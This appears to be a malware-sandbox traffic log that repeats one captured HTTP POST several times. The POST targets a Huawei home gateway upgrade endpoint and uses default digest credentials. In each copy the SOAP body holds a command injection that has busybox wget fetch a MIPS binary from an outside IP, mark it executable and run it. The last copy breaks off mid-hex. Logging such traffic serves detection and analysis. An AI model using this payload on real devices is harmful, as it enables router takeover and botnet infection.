Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 